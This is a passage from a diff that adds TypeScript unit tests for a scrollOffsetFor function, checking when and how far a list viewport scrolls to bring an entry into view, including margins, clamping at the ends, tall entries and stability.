+ // A 200px-tall viewport over a 1000px list, currently at the top.
5
+ const view = (over: Partial<ScrollView> = {}): ScrollView => ({
6
+ viewHeight: 200,
7
+ scrollTop: 0,
8
+ scrollHeight: 1000,
9
+ ...over,
10
+ });
11
+ const item = (top: number, height = 20): ScrollItem => ({ top, height });
12
+
13
+ describe('scrollOffsetFor — the "when necessary" half', () => {
14
+ it('returns null for an entry already comfortably in view', () => {
15
+ expect(scrollOffsetFor(view(), item(100), { margin: 28 })).toBeNull();
16
+ });
17
+
18
+ it('returns null when the whole list fits — nothing can scroll', () => {
19
+ // Guarded explicitly: without it the clamp below returns 0 for a top item, which a
20
+ // caller would read as "scroll to 0" and act on, cancelling smooth scrolls forever.
21
+ expect(scrollOffsetFor(view({ scrollHeight: 150 }), item(0))).toBeNull();
22
+ expect(scrollOffsetFor(view({ scrollHeight: 200 }), item(180))).toBeNull();
23
+ });
24
+
25
+ it('pulls an entry below the fold UP to the bottom edge, not to the centre', () => {
26
+ // bottom(420) + margin(28) - viewHeight(200) = 248 — one step, not a jump to centre.
27
+ expect(scrollOffsetFor(view(), item(400), { margin: 28 })).toBe(248);
28
+ });
29
+
30
+ it('pulls an entry above the fold DOWN to the top edge', () => {
31
+ expect(scrollOffsetFor(view({ scrollTop: 500 }), item(400), { margin: 28 })).toBe(372);
32
+ });
33
+
34
+ it('honours the edge margin — an entry flush against the fold still moves', () => {
35
+ // top 210 with viewTop 0 + viewHeight 200: the entry's bottom (230) is past the fold.
36
+ expect(scrollOffsetFor(view(), item(210), { margin: 0 })).toBe(30);
37
+ // With a margin, it is pulled further so the list visibly continues past it.
38
+ expect(scrollOffsetFor(view(), item(210), { margin: 28 })).toBe(58);
39
+ });
40
+
41
+ it('never scrolls past either end', () => {
42
+ expect(scrollOffsetFor(view(), item(0), { margin: 28 })).toBeNull(); // no negative
43
+ const atEnd = scrollOffsetFor(view({ scrollTop: 0 }), item(980), { margin: 28 });
44
+ expect(atEnd).toBe(800); // scrollHeight(1000) - viewHeight(200)
45
+ });
46
+
47
+ it('returns null when the clamp lands where we already are', () => {
48
+ // An entry inside the top margin while the list is already at 0: the ideal target is
49
+ // negative, clamps to 0, and 0 is the current offset — that is "in view", not a scroll.
50
+ expect(scrollOffsetFor(view({ scrollTop: 0 }), item(10), { margin: 28 })).toBeNull();
51
+ // …and at the far end, likewise.
52
+ expect(scrollOffsetFor(view({ scrollTop: 800 }), item(990), { margin: 28 })).toBeNull();
53
+ });
54
+
55
+ it('treats a tall entry that cannot fit by pinning its top', () => {
56
+ // Taller than the viewport: the bottom rule would scroll past the top of the entry and
57
+ // show only its tail. Above-the-fold is tested first, so the top wins.
58
+ expect(scrollOffsetFor(view({ scrollTop: 400 }), item(300, 400), { margin: 0 })).toBe(300);
59
+ });
60
+
61
+ it('is stable — applying its own answer twice is a no-op', () => {
62
+ // The property that keeps the list from oscillating: after one correction the entry is
63
+ // in view, so a second call must decline. A margin/edge mix-up breaks exactly this.
64
+ for (const top of [0, 37, 210, 400, 640, 980]) {
65
+ const first = scrollOffsetFor(view(), item(top), { margin: 28 });
66
+ if (first === null) continue;
67
+ const second = scrollOffsetFor(view({ scrollTop: first }), item(top), { margin: 28 });
68
+ expect(second).toBeNull();
69
+ }
70
+ });
71
+ });